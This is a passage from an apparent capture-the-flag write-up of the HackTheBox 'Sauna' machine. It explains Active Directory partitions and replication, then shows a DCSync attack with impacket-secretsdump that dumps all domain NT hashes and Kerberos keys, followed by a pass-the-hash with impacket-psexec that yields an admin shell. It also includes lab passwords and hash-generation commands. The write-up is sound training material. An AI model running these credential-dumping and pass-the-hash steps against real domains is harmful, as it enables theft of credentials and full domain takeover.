. For example, let’s consider the following LDAP entry:kali@kali:~$ nxc ldap 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' -d 'EGOTISTICAL-BANK.LOCAL' --query "(&(objectCategory=person)(objectClass=user)(sAMAccountName=Administrator))" "*" SMB 10.10.10.175 445 SAUNA [*] Windows 10 / Server 2019 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False) LDAP 10.10.10.175 389 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 LDAP 10.10.10.175 389 SAUNA [+] Response for object: CN=Administrator,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL LDAP 10.10.10.175 389 SAUNA objectClass: top person organizationalPerson user LDAP 10.10.10.175 389 SAUNA cn: Administrator LDAP 10.10.10.175 389 SAUNA description: Built-in account for administering the computer/domain LDAP 10.10.10.175 389 SAUNA distinguishedName: CN=Administrator,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL LDAP 10.10.10.175 389 SAUNA instanceType: 4 LDAP 10.10.10.175 389 SAUNA whenCreated: 20200123054439.0Z LDAP 10.10.10.175 389 SAUNA whenChanged: 20241102002526.0Z LDAP 10.10.10.175 389 SAUNA uSNCreated: 8196 LDAP 10.10.10.175 389 SAUNA memberOf: CN=Group Policy Creator Owners,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL CN=Domain Admins,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL CN=Enterprise Admins,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL CN=Schema Admins,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL CN=Administrators,CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL LDAP 10.10.10.175 389 SAUNA uSNChanged: 102442 LDAP 10.10.10.175 389 SAUNA name: Administrator LDAP 10.10.10.175 389 SAUNA objectGUID: 0x068e3621547cd54c94218186a6d29f66 LDAP 10.10.10.175 389 SAUNA userAccountControl: 66048 LDAP 10.10.10.175 389 SAUNA badPwdCount: 0 LDAP 10.10.10.175 389 SAUNA codePage: 0 LDAP 10.10.10.175 389 SAUNA countryCode: 0 LDAP 10.10.10.175 389 SAUNA badPasswordTime: 132717895011744380 LDAP 10.10.10.175 389 SAUNA lastLogoff: 0 LDAP 10.10.10.175 389 SAUNA lastLogon: 133749807414906736 LDAP 10.10.10.175 389 SAUNA logonHours: 0xffffffffffffffffffffffffffffffffffffffffff LDAP 10.10.10.175 389 SAUNA pwdLastSet: 132717897763775553 LDAP 10.10.10.175 389 SAUNA primaryGroupID: 513 LDAP 10.10.10.175 389 SAUNA objectSid: 0x010500000000000515000000fa8ed5b08a3095b83eacb646f4010000 LDAP 10.10.10.175 389 SAUNA adminCount: 1 LDAP 10.10.10.175 389 SAUNA accountExpires: 0 LDAP 10.10.10.175 389 SAUNA logonCount: 108 LDAP 10.10.10.175 389 SAUNA sAMAccountName: Administrator LDAP 10.10.10.175 389 SAUNA sAMAccountType: 805306368 LDAP 10.10.10.175 389 SAUNA objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL LDAP 10.10.10.175 389 SAUNA isCriticalSystemObject: TRUE LDAP 10.10.10.175 389 SAUNA dSCorePropagationData: 20200123061524.0Z 20200123060040.0Z 20200123060040.0Z 20200123054531.0Z 16010714042016.0Z LDAP 10.10.10.175 389 SAUNA lastLogonTimestamp: 133749807261625180
To name a few, this user named
Administrator
has the following attributes:sAMAccountName
,lastLogon
,logonCount
,objectSid
. Also, its class (or object category) isPerson
(basically it’s a user, NOT a computer).As the Microsoft documentation states regarding Object Classes and Object Categories: “the
objectClass
property of a user object would identify thetop
,person
,organizationalPerson
, anduser
classes”.Such attributes and classes can be defined on AD objects, because they’re in the Schema Partition.
Here’s a sample of such partition in our context (for simplicity, I shrinked the standard output to arbitrary contiguous lines; they might not be in the same exact line order as the actual command’s output):
PS C:\Users\jamarir> Get-ADObject -Credential (New-Object System.Management.Automation.PSCredential('EGOTISTICALBANK.LOCAL\fsmith',(ConvertTo-SecureString 'Thestrokes23' -AsPlainText -Force))) -Server 10.10.10.175 -SearchBase 'CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL' -Filter * DistinguishedName Name ObjectClass ObjectGUID ----------------- ---- ----------- ---------- CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL Schema dMD 9888a1cd-43bf-49ec-8135-f11828ee9a7e [...] CN=Person,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL Person classSchema 1a01498f-dad0-40ca-92ef-2ca24bd9b5ce CN=SAM-Account-Name,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL SAM-Account-Name attributeSchema 8d135d73-747d-402e-963b-3fe0d80631fe CN=Last-Logon,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL Last-Logon attributeSchema f1a6a24b-e526-4eb5-b605-f06bfa627437 CN=Logon-Count,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL Logon-Count attributeSchema 76a23f8d-ed3a-47c9-8d0b-4b40573fca0e CN=Object-Sid,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL Object-Sid attributeSchema c9c1e01f-8709-4262-ad3a-c8ffc216daf9 [...] CN=Canonical-Name,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL Canonical-Name attributeSchema eb4ed000-c891-4dd3-9285-a56b8697b992 CN=Object-Category,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL Object-Category attributeSchema 9ac8661f-8f22-4b20-8931-865d1fb614be CN=Sites-Container,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL Sites-Container classSchema 197d4c2c-c83a-426e-a9b4-70ebc8fb093d CN=Object-Guid,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL Object-Guid attributeSchema 2069ef32-072f-407a-9693-fbc207dfcd96 [...]
You may check the SecLists GitHub repo for an exhaustive list of classes and attributes.
Configuration Partition: Contains the topology and configuration data to replicate in the forest, and is replicated over the forest’s DCs. In other words, it stipulates which data should be replicated between DCs in the forest.
Here’s a sample of such partition in our context (for simplicity, I shrinked the standard output to arbitrary contiguous lines; they might not be in the same exact line order as the actual command’s output):
PS C:\Users\jamarir> Get-ADObject -Credential (New-Object System.Management.Automation.PSCredential('EGOTISTICALBANK.ielmiessler/SecLists/blob/master/Fuzzing/LDAP-active-directory-classes.txtLOCAL\fsmith',(ConvertTo-SecureString 'Thestrokes23' -AsPlainText -Force))) -Server 10.10.10.175 -SearchBase 'CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL' -Filter * -Properties * CanonicalName : EGOTISTICAL-BANK.LOCAL/Configuration DistinguishedName : CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL ObjectCategory : CN=Configuration,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL ObjectClass : configuration ObjectGUID : 7978a54d-1f70-4071-93e6-9e7a2a425959 CanonicalName : EGOTISTICAL-BANK.LOCAL/Configuration/WellKnown Security Principals/Authenticated Users DistinguishedName : CN=Authenticated Users,CN=WellKnown Security Principals,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL ObjectCategory : CN=Foreign-Security-Principal,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL ObjectClass : foreignSecurityPrincipal ObjectGUID : e008a590-4076-4658-9864-5a026af90ef8 objectSid : S-1-5-11 appliesTo : {bf967a8f-0de6-11d0-a285-00aa003049e2, bf967a87-0de6-11d0-a285-00aa003049e2, 19195a5b-6da0-11d0-afd3-00c04fd930c9} CanonicalName : EGOTISTICAL-BANK.LOCAL/Configuration/Extended-Rights/DS-Replication-Get-Changes-All DisplayName : Replicating Directory Changes All DistinguishedName : CN=DS-Replication-Get-Changes-All,CN=Extended-Rights,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL Name : DS-Replication-Get-Changes-All ObjectCategory : CN=Control-Access-Right,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL ObjectClass : controlAccessRight ObjectGUID : 60acef4f-05ca-49ee-b7c5-6abfaa31c971 [...]
Again, note that the attributes can be defined (e.g.
CanonicalName
) because they’re in the database’s layout (Schema Partition).Domain Partition / Naming Context: Contains the domain’s objects (e.g. users, computers, Domain Controllers, etc.), automatically replicated over every DC of the local domain ONLY. Said differently, in a forest with multiple domains, the Domain Partitions are not shared between different domains, but only between the DCs of the same domain.
Here’s a sample of such partition in our context (for simplicity, I shrinked the standard output to arbitrary contiguous lines; they might not be in the same exact line order as the actual command’s output):
PS C:\Users\jamarir> Get-ADObject -Credential (New-Object System.Management.Automation.PSCredential('EGOTISTICALBANK.LOCAL\fsmith',(ConvertTo-SecureString 'Thestrokes23' -AsPlainText -Force))) -Server 10.10.10.175 -SearchBase 'DC=EGOTISTICAL-BANK,DC=LOCAL' -Filter * -Properties * CanonicalName : EGOTISTICAL-BANK.LOCAL/ CN : dc : EGOTISTICAL-BANK Description : DistinguishedName : DC=EGOTISTICAL-BANK,DC=LOCAL gPLink : [LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL;0] lockoutThreshold : 0 masteredBy : {CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL} maxPwdAge : -36288000000000 minPwdAge : -864000000000 minPwdLength : 7 ms-DS-MachineAccountQuota : 10 Name : EGOTISTICAL-BANK ObjectCategory : CN=Domain-DNS,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL ObjectClass : domainDNS ObjectGUID : 504e06ec-22c1-43a1-93c0-cf4807f83363 objectSid : S-1-5-21-2966785786-3096785034-1186376766 pwdHistoryLength : 24 subRefs : {DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL, DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL, CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL} CanonicalName : EGOTISTICAL-BANK.LOCAL/Users CN : Users Description : Default container for upgraded user accounts DistinguishedName : CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL Name : Users ObjectCategory : CN=Container,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL ObjectClass : container ObjectGUID : b9665441-3249-4a8d-8222-ec183082f19f CanonicalName : EGOTISTICAL-BANK.LOCAL/Computers CN : Computers Description : Default container for upgraded computer accounts DistinguishedName : CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL Name : Computers ObjectCategory : CN=Container,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL ObjectClass : container ObjectGUID : 52d7c6c4-b2a4-4c0c-ae22-31c2d396438f CanonicalName : EGOTISTICAL-BANK.LOCAL/Domain Controllers CN : Description : Default container for domain controllers DistinguishedName : OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL Name : Domain Controllers ObjectCategory : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL ObjectClass : organizationalUnit ObjectGUID : 86c8f6a3-22b6-470b-8f01-c34cdb74ac8c ou : {Domain Controllers} [...]
Application Partition: Consider the following issues:
Dynamic data change more frequently than the replication latency, which might lead to data inconsistencies, or impact the network performance.
A Windows 2000 alternative is to store dynamic data marked as non-replicated. However, this leads to a single point of failure, where a single DC houses the only object copies marked as non-replicable.
The Application Partition tackles these issues by allowing an in-depth management of replicas in a manner more suitable for dynamic data. For example, by storing the DNS zone data in an Application Partition, it’s possible to redefine the scope of replication only to the DCs actually running the DNS server. Thus, we don’t perform the replication on every DC. In particular, we save ourselves from replicating DNS zones to DCs that aren’t running the DNS server.
Here’s a sample of such partition in our context (for simplicity, I shrinked the standard output to arbitrary contiguous lines; they might not be in the same exact line order as the actual command’s output):
PS C:\Users\jamarir> Get-ADObject -Credential (New-Object System.Management.Automation.PSCredential('EGOTISTICALBANK.LOCAL\fsmith',(ConvertTo-SecureString 'Thestrokes23' -AsPlainText -Force))) -Server 10.10.10.175 -SearchBase 'DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL' -Filter * -Properties * |Select-Object CanonicalName,DistinguishedName,ObjectCategory,ObjectClass,ObjectGUID
CanonicalName : DomainDnsZones.EGOTISTICAL-BANK.LOCAL/
DistinguishedName : DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
ObjectCategory : CN=Domain-DNS,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
ObjectClass : domainDNS
ObjectGUID : 9ea43f8b-df00-4fe4-940f-907e3dcaf5f5
CanonicalName : DomainDnsZones.EGOTISTICAL-BANK.LOCAL/MicrosoftDNS/EGOTISTICAL-BANK.LOCAL
DistinguishedName : DC=EGOTISTICAL-BANK.LOCAL,CN=MicrosoftDNS,DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
ObjectCategory : CN=Dns-Zone,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
ObjectClass : dnsZone
ObjectGUID : 69438f01-d033-4bde-a83f-fdc0d278c6f9
CanonicalName : DomainDnsZones.EGOTISTICAL-BANK.LOCAL/MicrosoftDNS/EGOTISTICAL-BANK.LOCAL/sauna
DistinguishedName : DC=sauna,DC=EGOTISTICAL-BANK.LOCAL,CN=MicrosoftDNS,DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
ObjectCategory : CN=Dns-Node,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
ObjectClass : dnsNode
ObjectGUID : acfba09d-8334-441b-9601-5fe2411b7086
[...]
For example, in the
MicrosoftDNS.EGOTISTICAL-BANK.LOCAL
class, theSAUNA.EGOTISTICAL-BANK.LOCAL
has been assigned theDns-Node
class; so thatSAUNA
holds DNS records. Indeed, every instance of theMicrosoftDNS_Zone
class must be assigned exactly one DNS Server.
DCSync / NC Secret Domain Data Replication huh ?
Let’s recall what was written above, ages ago:
The
svc_loadmgr
account has 3 rights on the domain, whose respective definitions are:
GetChangesAll (i.e. DS-Replication-Get-Changes-All): Allows the replication of secret domain data.
GetChanges (i.e. DS-Replication-Get-Changes): Needed right to replicate changes from a NC.
DCSync (DS-Replication-Synchronize): Needed right to synchronize replication from a NC.
Therefore, based on these statements, coupling the first 2 permissions allows svc_loanmgr
to replicate secret domain data from a NC (the partition containing all the domain’s objects). This configuration allows to perform what’s called a DCSync attack.
Hacktricks states that the
DS-Replicatrion-Get-Changes-In-Filtered-Set
extended right is also required, while alteredsecurity states that this right is not always needed. Finally, The Hacker Recipes doesn’t even mention it.Anyway, for the current HTB box, this right wasn’t required.
Replication Topology huh ?
Check the Microsoft documentation on FMSO roles, Active Directory Replication Concepts, or Bridgehead Server Load-Balancing for more details.
Active Directory is the central database storing all objects in an enterprise (that can store millions of objects). Database updates might be initiated by any DC (connected or disconnected from the network), and merging the database’s updates can become really challenging when the domain’s size is growing.
To name few solutions, one way to resolve such AD database discrepencies between DCs is to implement:
A last writer wins logic, where only the last written data copy is considered, thus replicated/pushed over all DCs. However, conflicts might still happen, and the other DCs changes might be discarded and lost.
A Single-master model, where only one DC in the entire domain, known as the PDC (Primary Domain Controller), is allowed to process updates. For example, other DCs need to refer to that PDC to check logons, if their local passwords are not up to date, or to synchronize their local database if a password change notification occured in the PDC.
A Replication Topology, which specifies connections between DCs in a forest according to their location in the domain. Here, each DC is associated to a subnet/site, which ensures the DC is efficiently and dynamically updated, given network/directory service configurations, DCs movements to/from sites, DCs’ availability, etc..
The built-in KCC (Knowledge Consistency Checker), running on all DCs, generates such efficient replication topology. It allows administrators to create automatic/manual connections between DCs for synchronization, with load-balancing features. In such configuration, the RODCs (Read-Only Domain Controllers) can automatically find new Hub DCs candidates (also named Bridgehead servers, or DCs), from which it can replicate updates. Therefore, when an AD administrator performs changes on the Hub DC, this Hub DC can push updates to (Outband Control) the RODCs. Also, the RODCs can pull updates from (Inbound Control) the Hub DC.
N.B. : If a user requests a password change on an RODC, then the RODC acts as an authentication proxy, forwarding the request to its Hub DC, which itself acts as if it was the first DC to receive the request.
In a nutshell, Replication in an Active Directory environment is quite a mess to manage. But most importantly, a DC can update/pull/synchronize its local AD database, by replicating another DC database’s NC updates (via the DRSGetNCChanges
function).
That’s DCSync.
PsExec it !
Therefore, with our svc_loanmgr
account, we can perform a DCsync attack to get an an domain user’s NTHash via the impacket's secretsdump.py
script. This attack simulates what a DC would do to synchronize its local database with another DC:
The
GetNCChanges()
call simply dumps (replicates) updated domain objects from a given NC replica (tree of objects).The
vssadmin
command simply performs a shadow copy ofNTDS.dit
. A shadow copy allows to copy a file, even if it is currently in use.
kali@kali:~$ impacket-secretsdump 'EGOTISTICAL-BANK.LOCAL'/'svc_loanmgr':'Moneymakestheworldgoround!'@'10.10.10.175'
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:890bc69d445fb83359afcd7e7b2e1b7b:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:8ca251ac680d93afa6b4082ece68c01b6cdafedb575ac5e6a8ffc520951db00b
SAUNA$:aes128-cts-hmac-sha1-96:2b05af5d8cec513ca1c306a704f79da1
SAUNA$:des-cbc-md5:1f7364545b89ead5
[*] Cleaning up...
With that Administrator’s NTHash, we may perform a Pass-The-Hash attack to impersonate the Administrator via the impacket’s psexec.py
script on the Domain Controller:
kali@kali:~$ impacket-psexec -hashes 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e' Administrator@10.10.10.175
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file htWZyJfC.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service LyCy on 10.10.10.175.....
[*] Starting service LyCy.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
In a domain environment, users’ passwords aren’t sent in the network to authenticate over NTLM. Instead, each user sends its NTHash. Thus, having a user’s NTHash is like having its password, as we can impersonate that user over NTLM via a Pass-The-Hash attack (or over Kerberbos via a Pass-The-Key attack).
psexec.py
, from the impacket’s suite, uses theRemCom
utility.RemCom
is (was) a legitimate utility, built 13 years ago. This utility is nothing more than a remote shell, that didn’t require any installation on the remote system. Therefore, it allows people to execute commands on remote Windows machines, or even have arunas
cmdlet alternative. Nowadays, however, this tool is mostly categorized as a malware.
psexec.exe
, from theSysinternals
’sPsTools
suite, may also be used on Windows machines. Again, even if none of thePsTools
contain viruses, they trigger virus notifications.By default, PsExec (without the
-l
option) needs admin rights on the remote system. As said the synacktiv (or serverfault) article, this is because it must start a service, which requires admin privileges. Thus, PsExec copies its executable in a privileged share (generallyADMIN$
). If the upload succeeds, then we’re admin on the remote Windows machine, and we can compromise the target with an admin remote shell. Without a surprise,Administrator
is a member of theAdministrators
local group.It’s worth mentionning that, as the Microsoft documentation states, the
Domain Admins
(resp.Enterprise Admins
) group is, by design, a member of the localAdministrators
group on all computers (DC included) that have joined the domain (resp. any domain in the forest). In other words, members of the groupDomain Admins
(resp.Enterprise Admins
) are also grantedAdministrator
rights on every computer of the domain (resp. any domain in the forest).
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> net localgroup administrators /domain Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator Domain Admins Enterprise Admins The command completed successfully.
GG WP !
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
3c[...]88
Quick SAM
/ LM:NT/Hash
discussion
Check the Microsoft’s documentation on local SAM databases, LMHashes and NTHashes, or on the Operating System Installation for more details.
The -hashes
format in this psexec
command is LM:NT
(that’s NTLM-counter-intuitive…). These LMHash
(Lan Manager) and NTHash
(Unicode) hashes are stored in the local SAM (Security Account Manager) database, in C:\Windows\System32\Config\SAM
.
As you may have noticed, the LMHash format above is the concatecation of 2 strings (ending with 404ee
): "aad3b435b51404ee"+"aad3b435b51404ee"
. This LMHash is generated using the following algorithm (which is technically not a hashing algorithm):
UPPERCASE the passwords’ characters.
NULL-pad / truncate to 14 characters.
DES encrypt each 7-chars half, and concatenate the 2 results.
Thus, LMHashes are very easy to crack, and should even be disabled on newer Windows systems. In the best case scenario, where the user’s password is 15 characters or more, and contains lowercase and uppercase characters, the LM hashing algortihm makes the password case-insensitive, and 14-chars truncated, thus less secure. Also, the hash is calculated on 2 chunks of 7 characters only. Finally, the LM hash algorithm isn’t salted.
Nowadays, the LM hashing algorithm is instantly crackable. Indeed, with that same configuration (7-chars length, case-insensitive), stronger algorithms such as:
bcrypt hashing algorithm (which is salted) is crackable in 50 mins, as Hive System shows.
kali@kali:~$ man 5 bcrypt
NT hashing algorithm (based on MD4, which is not salted), is crackable instantly, as thesecurityfactory, or that randorisec's benchmark shows.
So what about the less secure LM hashing algorithm ?
When a blank password’s LMHash
is generated, it results in an "LM Hash 404ee Not Found"
, as seen in the above psexec.py
's output.
LMHashes can be generated via the Python’s
lmhash
library:
kali@kali:~$ python -c 'from passlib.hash import lmhash; print(lmhash.hash(""))' aad3b435b51404eeaad3b435b51404ee
Or via the
ConvertTo-LMHash.ps1
script from the DSInternals suite:
PS C:\Users\jamarir> Install-Module DSInternals -Force PS C:\Users\jamarir> ConvertTo-LMHash -Password (New-Object System.Security.SecureString) aad3b435b51404eeaad3b435b51404ee PS C:\Users\jamarir> ConvertTo-LMHash -Password (ConvertTo-SecureString -String 'P@ssw0rd123!' -AsPlainText -Force) 921988ba001dc8e1c17ec4fe2a5374cb
Therefore, not specifying the LMHash in psexec.py
would also be accepted, as the LMHash is blank (or disabled on modern servers):
kali@kali:~$ impacket-psexec -hashes ':823452073d75b9d1cf70ebdf86c7f98e' Administrator@10.10.10.175
Impacket v0.13.0.dev0+20241024.90011.835e175 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file nAeQdJUN.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service MCiY on 10.10.10.175.....
[*] Starting service MCiY.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
The LMHash can be generated by the system for passwords with less than 14 characters. Thus, a non-blank LMHash is an indication of the password’s maximum length.
You can use the following Python script to generate NTHashes. Notice that the
svc_loanmgr
's password isMoneymakestheworldgoround!
, whose NTHash is effectively9cb31797c39a9b170b04058ba2bba48c
in theimpacket-secretsdump
's output above:
kali@kali:~$ python -c 'import binascii, hashlib; print(binascii.hexlify(hashlib.new("md4", "Moneymakestheworldgoround!".encode("utf-16le")).digest()))' b'9cb31797c39a9b170b04058ba2bba48c' kali@kali:~$ python -c 'import binascii, hashlib; print(binascii.hexlify(hashlib.new("md4", "".encode("utf-16le")).digest()))' b'31d6cfe0d16ae931b73c59d7e0c089c0'
Or the
Rubeus.exe
C# toolset, whose compiled version can be downloaded from the SharpCollection GitHub repo:
PS C:\Users\jamarir> Rubeus.exe hash /password:'Moneymakestheworldgoround!' ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.3 [*] Action: Calculate Password Hash(es) [*] Input password : Moneymakestheworldgoround! [*] rc4_hmac : 9CB31797C39A9B170B04058BA2BBA48C [!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!
Or the
ConvertTo-NTHash.ps1
script from the DSInternals suite:
PS C:\Users\jamarir> Install-Module DSInternals -Force PS C:\Users\jamarir> ConvertTo-NTHash -Password (New-Object System.Security.SecureString) 31d6cfe0d16ae931b73c59d7e0c089c0 PS C:\Users\jamarir> ConvertTo-NTHash -Password (ConvertTo-SecureString -String 'Moneymakestheworldgoround!' -AsPlainText -Force) 9cb31797c39a9b170b04058ba2bba48c
Or this tobtu.com LM/NTHash Generator: